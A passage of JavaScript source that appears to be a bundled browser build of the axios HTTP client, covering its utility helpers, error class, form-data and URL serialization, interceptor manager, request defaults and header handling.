const inherits = (constructor, superConstructor, props, descriptors) => {
  constructor.prototype = Object.create(superConstructor.prototype, descriptors);
  constructor.prototype.constructor = constructor;
  Object.defineProperty(constructor, 'super', {
    value: superConstructor.prototype
  });
  props && Object.assign(constructor.prototype, props);
};

/**
 * Resolve object with deep prototype chain to a flat object
 * @param {Object} sourceObj source object
 * @param {Object} [destObj]
 * @param {Function|Boolean} [filter]
 * @param {Function} [propFilter]
 *
 * @returns {Object}
 */
const toFlatObject = (sourceObj, destObj, filter, propFilter) => {
  let props;
  let i;
  let prop;
  const merged = {};

  destObj = destObj || {};
  // eslint-disable-next-line no-eq-null,eqeqeq
  if (sourceObj == null) return destObj;

  do {
    props = Object.getOwnPropertyNames(sourceObj);
    i = props.length;
    while (i-- > 0) {
      prop = props[i];
      if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) {
        destObj[prop] = sourceObj[prop];
        merged[prop] = true;
      }
    }
    sourceObj = filter !== false && getPrototypeOf(sourceObj);
  } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype);

  return destObj;
};

/**
 * Determines whether a string ends with the characters of a specified string
 *
 * @param {String} str
 * @param {String} searchString
 * @param {Number} [position= 0]
 *
 * @returns {boolean}
 */
const endsWith = (str, searchString, position) => {
  str = String(str);
  if (position === undefined || position > str.length) {
    position = str.length;
  }
  position -= searchString.length;
  const lastIndex = str.indexOf(searchString, position);
  return lastIndex !== -1 && lastIndex === position;
};


/**
 * Returns new array from array like object or null if failed
 *
 * @param {*} [thing]
 *
 * @returns {?Array}
 */
const toArray = (thing) => {
  if (!thing) return null;
  if (isArray(thing)) return thing;
  let i = thing.length;
  if (!isNumber(i)) return null;
  const arr = new Array(i);
  while (i-- > 0) {
    arr[i] = thing[i];
  }
  return arr;
};

/**
 * Checking if the Uint8Array exists and if it does, it returns a function that checks if the
 * thing passed in is an instance of Uint8Array
 *
 * @param {TypedArray}
 *
 * @returns {Array}
 */
// eslint-disable-next-line func-names
const isTypedArray = (TypedArray => {
  // eslint-disable-next-line func-names
  return thing => {
    return TypedArray && thing instanceof TypedArray;
  };
})(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array));

/**
 * For each entry in the object, call the function with the key and value.
 *
 * @param {Object<any, any>} obj - The object to iterate over.
 * @param {Function} fn - The function to call for each entry.
 *
 * @returns {void}
 */
const forEachEntry = (obj, fn) => {
  const generator = obj && obj[Symbol.iterator];

  const iterator = generator.call(obj);

  let result;

  while ((result = iterator.next()) && !result.done) {
    const pair = result.value;
    fn.call(obj, pair[0], pair[1]);
  }
};

/**
 * It takes a regular expression and a string, and returns an array of all the matches
 *
 * @param {string} regExp - The regular expression to match against.
 * @param {string} str - The string to search.
 *
 * @returns {Array<boolean>}
 */
const matchAll = (regExp, str) => {
  let matches;
  const arr = [];

  while ((matches = regExp.exec(str)) !== null) {
    arr.push(matches);
  }

  return arr;
};

/* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */
const isHTMLForm = kindOfTest('HTMLFormElement');

const toCamelCase = str => {
  return str.toLowerCase().replace(/[-_\s]([a-z\d])(\w*)/g,
    function replacer(m, p1, p2) {
      return p1.toUpperCase() + p2;
    }
  );
};

/* Creating a function that will check if an object has a property. */
const hasOwnProperty = (({hasOwnProperty}) => (obj, prop) => hasOwnProperty.call(obj, prop))(Object.prototype);

/**
 * Determine if a value is a RegExp object
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a RegExp object, otherwise false
 */
const isRegExp = kindOfTest('RegExp');

const reduceDescriptors = (obj, reducer) => {
  const descriptors = Object.getOwnPropertyDescriptors(obj);
  const reducedDescriptors = {};

  forEach(descriptors, (descriptor, name) => {
    let ret;
    if ((ret = reducer(descriptor, name, obj)) !== false) {
      reducedDescriptors[name] = ret || descriptor;
    }
  });

  Object.defineProperties(obj, reducedDescriptors);
};

/**
 * Makes all methods read-only
 * @param {Object} obj
 */

const freezeMethods = (obj) => {
  reduceDescriptors(obj, (descriptor, name) => {
    // skip restricted props in strict mode
    if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) {
      return false;
    }

    const value = obj[name];

    if (!isFunction(value)) return;

    descriptor.enumerable = false;

    if ('writable' in descriptor) {
      descriptor.writable = false;
      return;
    }

    if (!descriptor.set) {
      descriptor.set = () => {
        throw Error('Can not rewrite read-only method \'' + name + '\'');
      };
    }
  });
};

const toObjectSet = (arrayOrString, delimiter) => {
  const obj = {};

  const define = (arr) => {
    arr.forEach(value => {
      obj[value] = true;
    });
  };

  isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter));

  return obj;
};

const noop = () => {};

const toFiniteNumber = (value, defaultValue) => {
  return value != null && Number.isFinite(value = +value) ? value : defaultValue;
};

const ALPHA = 'abcdefghijklmnopqrstuvwxyz';

const DIGIT = '0123456789';

const ALPHABET = {
  DIGIT,
  ALPHA,
  ALPHA_DIGIT: ALPHA + ALPHA.toUpperCase() + DIGIT
};

const generateString = (size = 16, alphabet = ALPHABET.ALPHA_DIGIT) => {
  let str = '';
  const {length} = alphabet;
  while (size--) {
    str += alphabet[Math.random() * length|0];
  }

  return str;
};

/**
 * If the thing is a FormData object, return true, otherwise return false.
 *
 * @param {unknown} thing - The thing to check.
 *
 * @returns {boolean}
 */
function isSpecCompliantForm(thing) {
  return !!(thing && isFunction(thing.append) && thing[Symbol.toStringTag] === 'FormData' && thing[Symbol.iterator]);
}

const toJSONObject = (obj) => {
  const stack = new Array(10);

  const visit = (source, i) => {

    if (isObject(source)) {
      if (stack.indexOf(source) >= 0) {
        return;
      }

      if(!('toJSON' in source)) {
        stack[i] = source;
        const target = isArray(source) ? [] : {};

        forEach(source, (value, key) => {
          const reducedValue = visit(value, i + 1);
          !isUndefined(reducedValue) && (target[key] = reducedValue);
        });

        stack[i] = undefined;

        return target;
      }
    }

    return source;
  };

  return visit(obj, 0);
};

const isAsyncFn = kindOfTest('AsyncFunction');

const isThenable = (thing) =>
  thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch);

const utils$1 = {
  isArray,
  isArrayBuffer,
  isBuffer,
  isFormData,
  isArrayBufferView,
  isString,
  isNumber,
  isBoolean,
  isObject,
  isPlainObject,
  isReadableStream,
  isRequest,
  isResponse,
  isHeaders,
  isUndefined,
  isDate,
  isFile,
  isBlob,
  isRegExp,
  isFunction,
  isStream,
  isURLSearchParams,
  isTypedArray,
  isFileList,
  forEach,
  merge,
  extend,
  trim,
  stripBOM,
  inherits,
  toFlatObject,
  kindOf,
  kindOfTest,
  endsWith,
  toArray,
  forEachEntry,
  matchAll,
  isHTMLForm,
  hasOwnProperty,
  hasOwnProp: hasOwnProperty, // an alias to avoid ESLint no-prototype-builtins detection
  reduceDescriptors,
  freezeMethods,
  toObjectSet,
  toCamelCase,
  noop,
  toFiniteNumber,
  findKey,
  global: _global,
  isContextDefined,
  ALPHABET,
  generateString,
  isSpecCompliantForm,
  toJSONObject,
  isAsyncFn,
  isThenable
};

/**
 * Create an Error with the specified message, config, error code, request and response.
 *
 * @param {string} message The error message.
 * @param {string} [code] The error code (for example, 'ECONNABORTED').
 * @param {Object} [config] The config.
 * @param {Object} [request] The request.
 * @param {Object} [response] The response.
 *
 * @returns {Error} The created error.
 */
function AxiosError$1(message, code, config, request, response) {
  Error.call(this);

  if (Error.captureStackTrace) {
    Error.captureStackTrace(this, this.constructor);
  } else {
    this.stack = (new Error()).stack;
  }

  this.message = message;
  this.name = 'AxiosError';
  code && (this.code = code);
  config && (this.config = config);
  request && (this.request = request);
  response && (this.response = response);
}

utils$1.inherits(AxiosError$1, Error, {
  toJSON: function toJSON() {
    return {
      // Standard
      message: this.message,
      name: this.name,
      // Microsoft
      description: this.description,
      number: this.number,
      // Mozilla
      fileName: this.fileName,
      lineNumber: this.lineNumber,
      columnNumber: this.columnNumber,
      stack: this.stack,
      // Axios
      config: utils$1.toJSONObject(this.config),
      code: this.code,
      status: this.response && this.response.status ? this.response.status : null
    };
  }
});

const prototype$1 = AxiosError$1.prototype;
const descriptors = {};

[
  'ERR_BAD_OPTION_VALUE',
  'ERR_BAD_OPTION',
  'ECONNABORTED',
  'ETIMEDOUT',
  'ERR_NETWORK',
  'ERR_FR_TOO_MANY_REDIRECTS',
  'ERR_DEPRECATED',
  'ERR_BAD_RESPONSE',
  'ERR_BAD_REQUEST',
  'ERR_CANCELED',
  'ERR_NOT_SUPPORT',
  'ERR_INVALID_URL'
// eslint-disable-next-line func-names
].forEach(code => {
  descriptors[code] = {value: code};
});

Object.defineProperties(AxiosError$1, descriptors);
Object.defineProperty(prototype$1, 'isAxiosError', {value: true});

// eslint-disable-next-line func-names
AxiosError$1.from = (error, code, config, request, response, customProps) => {
  const axiosError = Object.create(prototype$1);

  utils$1.toFlatObject(error, axiosError, function filter(obj) {
    return obj !== Error.prototype;
  }, prop => {
    return prop !== 'isAxiosError';
  });

  AxiosError$1.call(axiosError, error.message, code, config, request, response);

  axiosError.cause = error;

  axiosError.name = error.name;

  customProps && Object.assign(axiosError, customProps);

  return axiosError;
};

// eslint-disable-next-line strict
const httpAdapter = null;

/**
 * Determines if the given thing is a array or js object.
 *
 * @param {string} thing - The object or array to be visited.
 *
 * @returns {boolean}
 */
function isVisitable(thing) {
  return utils$1.isPlainObject(thing) || utils$1.isArray(thing);
}

/**
 * It removes the brackets from the end of a string
 *
 * @param {string} key - The key of the parameter.
 *
 * @returns {string} the key without the brackets.
 */
function removeBrackets(key) {
  return utils$1.endsWith(key, '[]') ? key.slice(0, -2) : key;
}

/**
 * It takes a path, a key, and a boolean, and returns a string
 *
 * @param {string} path - The path to the current key.
 * @param {string} key - The key of the current object being iterated over.
 * @param {string} dots - If true, the key will be rendered with dots instead of brackets.
 *
 * @returns {string} The path to the current key.
 */
function renderKey(path, key, dots) {
  if (!path) return key;
  return path.concat(key).map(function each(token, i) {
    // eslint-disable-next-line no-param-reassign
    token = removeBrackets(token);
    return !dots && i ? '[' + token + ']' : token;
  }).join(dots ? '.' : '');
}

/**
 * If the array is an array and none of its elements are visitable, then it's a flat array.
 *
 * @param {Array<any>} arr - The array to check
 *
 * @returns {boolean}
 */
function isFlatArray(arr) {
  return utils$1.isArray(arr) && !arr.some(isVisitable);
}

const predicates = utils$1.toFlatObject(utils$1, {}, null, function filter(prop) {
  return /^is[A-Z]/.test(prop);
});

/**
 * Convert a data object to FormData
 *
 * @param {Object} obj
 * @param {?Object} [formData]
 * @param {?Object} [options]
 * @param {Function} [options.visitor]
 * @param {Boolean} [options.metaTokens = true]
 * @param {Boolean} [options.dots = false]
 * @param {?Boolean} [options.indexes = false]
 *
 * @returns {Object}
 **/

/**
 * It converts an object into a FormData object
 *
 * @param {Object<any, any>} obj - The object to convert to form data.
 * @param {string} formData - The FormData object to append to.
 * @param {Object<string, any>} options
 *
 * @returns
 */
function toFormData$1(obj, formData, options) {
  if (!utils$1.isObject(obj)) {
    throw new TypeError('target must be an object');
  }

  // eslint-disable-next-line no-param-reassign
  formData = formData || new (FormData)();

  // eslint-disable-next-line no-param-reassign
  options = utils$1.toFlatObject(options, {
    metaTokens: true,
    dots: false,
    indexes: false
  }, false, function defined(option, source) {
    // eslint-disable-next-line no-eq-null,eqeqeq
    return !utils$1.isUndefined(source[option]);
  });

  const metaTokens = options.metaTokens;
  // eslint-disable-next-line no-use-before-define
  const visitor = options.visitor || defaultVisitor;
  const dots = options.dots;
  const indexes = options.indexes;
  const _Blob = options.Blob || typeof Blob !== 'undefined' && Blob;
  const useBlob = _Blob && utils$1.isSpecCompliantForm(formData);

  if (!utils$1.isFunction(visitor)) {
    throw new TypeError('visitor must be a function');
  }

  function convertValue(value) {
    if (value === null) return '';

    if (utils$1.isDate(value)) {
      return value.toISOString();
    }

    if (!useBlob && utils$1.isBlob(value)) {
      throw new AxiosError$1('Blob is not supported. Use a Buffer instead.');
    }

    if (utils$1.isArrayBuffer(value) || utils$1.isTypedArray(value)) {
      return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value);
    }

    return value;
  }

  /**
   * Default visitor.
   *
   * @param {*} value
   * @param {String|Number} key
   * @param {Array<String|Number>} path
   * @this {FormData}
   *
   * @returns {boolean} return true to visit the each prop of the value recursively
   */
  function defaultVisitor(value, key, path) {
    let arr = value;

    if (value && !path && typeof value === 'object') {
      if (utils$1.endsWith(key, '{}')) {
        // eslint-disable-next-line no-param-reassign
        key = metaTokens ? key : key.slice(0, -2);
        // eslint-disable-next-line no-param-reassign
        value = JSON.stringify(value);
      } else if (
        (utils$1.isArray(value) && isFlatArray(value)) ||
        ((utils$1.isFileList(value) || utils$1.endsWith(key, '[]')) && (arr = utils$1.toArray(value))
        )) {
        // eslint-disable-next-line no-param-reassign
        key = removeBrackets(key);

        arr.forEach(function each(el, index) {
          !(utils$1.isUndefined(el) || el === null) && formData.append(
            // eslint-disable-next-line no-nested-ternary
            indexes === true ? renderKey([key], index, dots) : (indexes === null ? key : key + '[]'),
            convertValue(el)
          );
        });
        return false;
      }
    }

    if (isVisitable(value)) {
      return true;
    }

    formData.append(renderKey(path, key, dots), convertValue(value));

    return false;
  }

  const stack = [];

  const exposedHelpers = Object.assign(predicates, {
    defaultVisitor,
    convertValue,
    isVisitable
  });

  function build(value, path) {
    if (utils$1.isUndefined(value)) return;

    if (stack.indexOf(value) !== -1) {
      throw Error('Circular reference detected in ' + path.join('.'));
    }

    stack.push(value);

    utils$1.forEach(value, function each(el, key) {
      const result = !(utils$1.isUndefined(el) || el === null) && visitor.call(
        formData, el, utils$1.isString(key) ? key.trim() : key, path, exposedHelpers
      );

      if (result === true) {
        build(el, path ? path.concat(key) : [key]);
      }
    });

    stack.pop();
  }

  if (!utils$1.isObject(obj)) {
    throw new TypeError('data must be an object');
  }

  build(obj);

  return formData;
}

/**
 * It encodes a string by replacing all characters that are not in the unreserved set with
 * their percent-encoded equivalents
 *
 * @param {string} str - The string to encode.
 *
 * @returns {string} The encoded string.
 */
function encode$1(str) {
  const charMap = {
    '!': '%21',
    "'": '%27',
    '(': '%28',
    ')': '%29',
    '~': '%7E',
    '%20': '+',
    '%00': '\x00'
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {
    return charMap[match];
  });
}

/**
 * It takes a params object and converts it to a FormData object
 *
 * @param {Object<string, any>} params - The parameters to be converted to a FormData object.
 * @param {Object<string, any>} options - The options object passed to the Axios constructor.
 *
 * @returns {void}
 */
function AxiosURLSearchParams(params, options) {
  this._pairs = [];

  params && toFormData$1(params, this, options);
}

const prototype = AxiosURLSearchParams.prototype;

prototype.append = function append(name, value) {
  this._pairs.push([name, value]);
};

prototype.toString = function toString(encoder) {
  const _encode = encoder ? function(value) {
    return encoder.call(this, value, encode$1);
  } : encode$1;

  return this._pairs.map(function each(pair) {
    return _encode(pair[0]) + '=' + _encode(pair[1]);
  }, '').join('&');
};

/**
 * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their
 * URI encoded counterparts
 *
 * @param {string} val The value to be encoded.
 *
 * @returns {string} The encoded value.
 */
function encode(val) {
  return encodeURIComponent(val).
    replace(/%3A/gi, ':').
    replace(/%24/g, '$').
    replace(/%2C/gi, ',').
    replace(/%20/g, '+').
    replace(/%5B/gi, '[').
    replace(/%5D/gi, ']');
}

/**
 * Build a URL by appending params to the end
 *
 * @param {string} url The base of the url (e.g., http://www.google.com)
 * @param {object} [params] The params to be appended
 * @param {?object} options
 *
 * @returns {string} The formatted url
 */
function buildURL(url, params, options) {
  /*eslint no-param-reassign:0*/
  if (!params) {
    return url;
  }
  
  const _encode = options && options.encode || encode;

  const serializeFn = options && options.serialize;

  let serializedParams;

  if (serializeFn) {
    serializedParams = serializeFn(params, options);
  } else {
    serializedParams = utils$1.isURLSearchParams(params) ?
      params.toString() :
      new AxiosURLSearchParams(params, options).toString(_encode);
  }

  if (serializedParams) {
    const hashmarkIndex = url.indexOf("#");

    if (hashmarkIndex !== -1) {
      url = url.slice(0, hashmarkIndex);
    }
    url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;
  }

  return url;
}

class InterceptorManager {
  constructor() {
    this.handlers = [];
  }

  /**
   * Add a new interceptor to the stack
   *
   * @param {Function} fulfilled The function to handle `then` for a `Promise`
   * @param {Function} rejected The function to handle `reject` for a `Promise`
   *
   * @return {Number} An ID used to remove interceptor later
   */
  use(fulfilled, rejected, options) {
    this.handlers.push({
      fulfilled,
      rejected,
      synchronous: options ? options.synchronous : false,
      runWhen: options ? options.runWhen : null
    });
    return this.handlers.length - 1;
  }

  /**
   * Remove an interceptor from the stack
   *
   * @param {Number} id The ID that was returned by `use`
   *
   * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise
   */
  eject(id) {
    if (this.handlers[id]) {
      this.handlers[id] = null;
    }
  }

  /**
   * Clear all interceptors from the stack
   *
   * @returns {void}
   */
  clear() {
    if (this.handlers) {
      this.handlers = [];
    }
  }

  /**
   * Iterate over all the registered interceptors
   *
   * This method is particularly useful for skipping over any
   * interceptors that may have become `null` calling `eject`.
   *
   * @param {Function} fn The function to call for each interceptor
   *
   * @returns {void}
   */
  forEach(fn) {
    utils$1.forEach(this.handlers, function forEachHandler(h) {
      if (h !== null) {
        fn(h);
      }
    });
  }
}

const InterceptorManager$1 = InterceptorManager;

const transitionalDefaults = {
  silentJSONParsing: true,
  forcedJSONParsing: true,
  clarifyTimeoutError: false
};

const URLSearchParams$1 = typeof URLSearchParams !== 'undefined' ? URLSearchParams : AxiosURLSearchParams;

const FormData$1 = typeof FormData !== 'undefined' ? FormData : null;

const Blob$1 = typeof Blob !== 'undefined' ? Blob : null;

const platform$1 = {
  isBrowser: true,
  classes: {
    URLSearchParams: URLSearchParams$1,
    FormData: FormData$1,
    Blob: Blob$1
  },
  protocols: ['http', 'https', 'file', 'blob', 'url', 'data']
};

const hasBrowserEnv = typeof window !== 'undefined' && typeof document !== 'undefined';

/**
 * Determine if we're running in a standard browser environment
 *
 * This allows axios to run in a web worker, and react-native.
 * Both environments support XMLHttpRequest, but not fully standard globals.
 *
 * web workers:
 *  typeof window -> undefined
 *  typeof document -> undefined
 *
 * react-native:
 *  navigator.product -> 'ReactNative'
 * nativescript
 *  navigator.product -> 'NativeScript' or 'NS'
 *
 * @returns {boolean}
 */
const hasStandardBrowserEnv = (
  (product) => {
    return hasBrowserEnv && ['ReactNative', 'NativeScript', 'NS'].indexOf(product) < 0
  })(typeof navigator !== 'undefined' && navigator.product);

/**
 * Determine if we're running in a standard browser webWorker environment
 *
 * Although the `isStandardBrowserEnv` method indicates that
 * `allows axios to run in a web worker`, the WebWorker will still be
 * filtered out due to its judgment standard
 * `typeof window !== 'undefined' && typeof document !== 'undefined'`.
 * This leads to a problem when axios post `FormData` in webWorker
 */
const hasStandardBrowserWebWorkerEnv = (() => {
  return (
    typeof WorkerGlobalScope !== 'undefined' &&
    // eslint-disable-next-line no-undef
    self instanceof WorkerGlobalScope &&
    typeof self.importScripts === 'function'
  );
})();

const origin = hasBrowserEnv && window.location.href || 'http://localhost';

const utils = /*#__PURE__*/Object.freeze({
  __proto__: null,
  hasBrowserEnv: hasBrowserEnv,
  hasStandardBrowserWebWorkerEnv: hasStandardBrowserWebWorkerEnv,
  hasStandardBrowserEnv: hasStandardBrowserEnv,
  origin: origin
});

const platform = {
  ...utils,
  ...platform$1
};

function toURLEncodedForm(data, options) {
  return toFormData$1(data, new platform.classes.URLSearchParams(), Object.assign({
    visitor: function(value, key, path, helpers) {
      if (platform.isNode && utils$1.isBuffer(value)) {
        this.append(key, value.toString('base64'));
        return false;
      }

      return helpers.defaultVisitor.apply(this, arguments);
    }
  }, options));
}

/**
 * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z']
 *
 * @param {string} name - The name of the property to get.
 *
 * @returns An array of strings.
 */
function parsePropPath(name) {
  // foo[x][y][z]
  // foo.x.y.z
  // foo-x-y-z
  // foo x y z
  return utils$1.matchAll(/\w+|\[(\w*)]/g, name).map(match => {
    return match[0] === '[]' ? '' : match[1] || match[0];
  });
}

/**
 * Convert an array to an object.
 *
 * @param {Array<any>} arr - The array to convert to an object.
 *
 * @returns An object with the same keys and values as the array.
 */
function arrayToObject(arr) {
  const obj = {};
  const keys = Object.keys(arr);
  let i;
  const len = keys.length;
  let key;
  for (i = 0; i < len; i++) {
    key = keys[i];
    obj[key] = arr[key];
  }
  return obj;
}

/**
 * It takes a FormData object and returns a JavaScript object
 *
 * @param {string} formData The FormData object to convert to JSON.
 *
 * @returns {Object<string, any> | null} The converted object.
 */
function formDataToJSON(formData) {
  function buildPath(path, value, target, index) {
    let name = path[index++];

    if (name === '__proto__') return true;

    const isNumericKey = Number.isFinite(+name);
    const isLast = index >= path.length;
    name = !name && utils$1.isArray(target) ? target.length : name;

    if (isLast) {
      if (utils$1.hasOwnProp(target, name)) {
        target[name] = [target[name], value];
      } else {
        target[name] = value;
      }

      return !isNumericKey;
    }

    if (!target[name] || !utils$1.isObject(target[name])) {
      target[name] = [];
    }

    const result = buildPath(path, value, target[name], index);

    if (result && utils$1.isArray(target[name])) {
      target[name] = arrayToObject(target[name]);
    }

    return !isNumericKey;
  }

  if (utils$1.isFormData(formData) && utils$1.isFunction(formData.entries)) {
    const obj = {};

    utils$1.forEachEntry(formData, (name, value) => {
      buildPath(parsePropPath(name), value, obj, 0);
    });

    return obj;
  }

  return null;
}

/**
 * It takes a string, tries to parse it, and if it fails, it returns the stringified version
 * of the input
 *
 * @param {any} rawValue - The value to be stringified.
 * @param {Function} parser - A function that parses a string into a JavaScript object.
 * @param {Function} encoder - A function that takes a value and returns a string.
 *
 * @returns {string} A stringified version of the rawValue.
 */
function stringifySafely(rawValue, parser, encoder) {
  if (utils$1.isString(rawValue)) {
    try {
      (parser || JSON.parse)(rawValue);
      return utils$1.trim(rawValue);
    } catch (e) {
      if (e.name !== 'SyntaxError') {
        throw e;
      }
    }
  }

  return (encoder || JSON.stringify)(rawValue);
}

const defaults = {

  transitional: transitionalDefaults,

  adapter: ['xhr', 'http', 'fetch'],

  transformRequest: [function transformRequest(data, headers) {
    const contentType = headers.getContentType() || '';
    const hasJSONContentType = contentType.indexOf('application/json') > -1;
    const isObjectPayload = utils$1.isObject(data);

    if (isObjectPayload && utils$1.isHTMLForm(data)) {
      data = new FormData(data);
    }

    const isFormData = utils$1.isFormData(data);

    if (isFormData) {
      return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;
    }

    if (utils$1.isArrayBuffer(data) ||
      utils$1.isBuffer(data) ||
      utils$1.isStream(data) ||
      utils$1.isFile(data) ||
      utils$1.isBlob(data) ||
      utils$1.isReadableStream(data)
    ) {
      return data;
    }
    if (utils$1.isArrayBufferView(data)) {
      return data.buffer;
    }
    if (utils$1.isURLSearchParams(data)) {
      headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false);
      return data.toString();
    }

    let isFileList;

    if (isObjectPayload) {
      if (contentType.indexOf('application/x-www-form-urlencoded') > -1) {
        return toURLEncodedForm(data, this.formSerializer).toString();
      }

      if ((isFileList = utils$1.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) {
        const _FormData = this.env && this.env.FormData;

        return toFormData$1(
          isFileList ? {'files[]': data} : data,
          _FormData && new _FormData(),
          this.formSerializer
        );
      }
    }

    if (isObjectPayload || hasJSONContentType ) {
      headers.setContentType('application/json', false);
      return stringifySafely(data);
    }

    return data;
  }],

  transformResponse: [function transformResponse(data) {
    const transitional = this.transitional || defaults.transitional;
    const forcedJSONParsing = transitional && transitional.forcedJSONParsing;
    const JSONRequested = this.responseType === 'json';

    if (utils$1.isResponse(data) || utils$1.isReadableStream(data)) {
      return data;
    }

    if (data && utils$1.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {
      const silentJSONParsing = transitional && transitional.silentJSONParsing;
      const strictJSONParsing = !silentJSONParsing && JSONRequested;

      try {
        return JSON.parse(data);
      } catch (e) {
        if (strictJSONParsing) {
          if (e.name === 'SyntaxError') {
            throw AxiosError$1.from(e, AxiosError$1.ERR_BAD_RESPONSE, this, null, this.response);
          }
          throw e;
        }
      }
    }

    return data;
  }],

  /**
   * A timeout in milliseconds to abort a request. If set to 0 (default) a
   * timeout is not created.
   */
  timeout: 0,

  xsrfCookieName: 'XSRF-TOKEN',
  xsrfHeaderName: 'X-XSRF-TOKEN',

  maxContentLength: -1,
  maxBodyLength: -1,

  env: {
    FormData: platform.classes.FormData,
    Blob: platform.classes.Blob
  },

  validateStatus: function validateStatus(status) {
    return status >= 200 && status < 300;
  },

  headers: {
    common: {
      'Accept': 'application/json, text/plain, */*',
      'Content-Type': undefined
    }
  }
};

utils$1.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], (method) => {
  defaults.headers[method] = {};
});

const defaults$1 = defaults;

// RawAxiosHeaders whose duplicates are ignored by node
// c.f. https://nodejs.org/api/http.html#http_message_headers
const ignoreDuplicateOf = utils$1.toObjectSet([
  'age', 'authorization', 'content-length', 'content-type', 'etag',
  'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since',
  'last-modified', 'location', 'max-forwards', 'proxy-authorization',
  'referer', 'retry-after', 'user-agent'
]);

/**
 * Parse headers into an object
 *
 * ```
 * Date: Wed, 27 Aug 2014 08:58:49 GMT
 * Content-Type: application/json
 * Connection: keep-alive
 * Transfer-Encoding: chunked
 * ```
 *
 * @param {String} rawHeaders Headers needing to be parsed
 *
 * @returns {Object} Headers parsed into an object
 */
const parseHeaders = rawHeaders => {
  const parsed = {};
  let key;
  let val;
  let i;

  rawHeaders && rawHeaders.split('\n').forEach(function parser(line) {
    i = line.indexOf(':');
    key = line.substring(0, i).trim().toLowerCase();
    val = line.substring(i + 1).trim();

    if (!key || (parsed[key] && ignoreDuplicateOf[key])) {
      return;
    }

    if (key === 'set-cookie') {
      if (parsed[key]) {
        parsed[key].push(val);
      } else {
        parsed[key] = [val];
      }
    } else {
      parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;
    }
  });

  return parsed;
};

const $internals = Symbol('internals');

function normalizeHeader(header) {
  return header && String(header).trim().toLowerCase();
}

function normalizeValue(value) {
  if (value === false || value == null) {
    return value;
  }

  return utils$1.isArray(value) ? value.map(normalizeValue) : String(value);
}

function parseTokens(str) {
  const tokens = Object.create(null);
  const tokensRE = /([^\s,;=]+)\s*(?:=\s*([^,;]+))?/g;
  let match;

  while ((match = tokensRE.exec(str))) {
    tokens[match[1]] = match[2];
  }

  return tokens;
}

const isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim());

function matchHeaderValue(context, value, header, filter, isHeaderNameFilter) {
  if (utils$1.isFunction(filter)) {
    return filter.call(this, value, header);
  }

  if (isHeaderNameFilter) {
    value = header;
  }

  if (!utils$1.isString(value)) return;

  if (utils$1.isString(filter)) {
    return value.indexOf(filter) !== -1;
  }

  if (utils$1.isRegExp(filter)) {
    return filter.test(value);
  }
}

function formatHeader(header) {
  return header.trim()
    .toLowerCase().replace(/([a-z\d])(\w*)/g, (w, char, str) => {
      return char.toUpperCase() + str;
    });
}

function buildAccessors(obj, header) {
  const accessorName = utils$1.toCamelCase(' ' + header);

  ['get', 'set', 'has'].forEach(methodName => {
    Object.defineProperty(obj, methodName + accessorName, {
      value: function(arg1, arg2, arg3) {
        return this[methodName].call(this, header, arg1, arg2, arg3);
      },
      configurable: true
    });
  });
}

class AxiosHeaders$1 {
  constructor(headers) {
    headers && this.set(headers);
  }

  set(header, valueOrRewrite, rewrite) {
    const self = this;

    function setHeader(_value, _header, _rewrite) {
      const lHeader = normalizeHeader(_header);

      if (!lHeader) {
        throw new Error('header name must be a non-empty string');
      }

      const key = utils$1.findKey(self, lHeader);

      if(!key || self[key] === undefined || _rewrite === true || (_rewrite === undefined && self[key] !== false)) {
        self[key || _header] = normalizeValue(_value);
      }
    }

    const setHeaders = (headers, _rewrite) =>
      utils$1.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite));

    if (utils$1.isPlainObject(header) || header instanceof this.constructor) {
      setHeaders(header, valueOrRewrite);
    } else if(utils$1.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) {
      setHeaders(parseHeaders(header), valueOrRewrite);
    } else if (utils$1.isHeaders(header)) {
      for (const [key, value] of header.entries()) {
        setHeader(value, key, rewrite);
      }
    } else {
      header != null && setHeader(valueOrRewrite, header, rewrite);
    }

    return this;
  }

  get(header, parser) {
    header = normalizeHeader(header);

    if (header) {
      const key = utils$1.findKey(this, header);

      if (key) {
        const value = this[key];

        if (!parser) {
          return value;
        }

        if (parser === true) {
          return parseTokens(value);
        }

        if (utils$1.isFunction(parser)) {
          return parser.call(this, value, key);
        }

        if (utils$1.isRegExp(parser)) {
          return parser.exec(value);
        }

        throw new TypeError('parser must be boolean|regexp|function');
      }
    }
  }

  has(header, matcher) {
    header = normalizeHeader(header);

    if (header) {
      const key = utils$1.findKey(this, header);

      return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher)));
    }

    return false;
  }

  delete(header, matcher) {
    const self = this;
    let deleted = false;

    function deleteHeader(_header) {
      _header = normalizeHeader(_header);

      if (_header) {
        const key = utils$1.findKey(self, _header);

        if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) {
          delete self[key];

          deleted = true;
        }
      }
    }

    if (utils$1.isArray(header)) {
      header.forEach(deleteHeader);
    } else {
      deleteHeader(header);
    }

    return deleted;
  }

  clear(matcher) {
    const keys = Object.keys(this);
    let i = keys.length;
    let deleted = false;

    while (i--) {
      const key = keys[i];
      if(!matcher || matchHeaderValue(this, this[key], key, matcher, true)) {
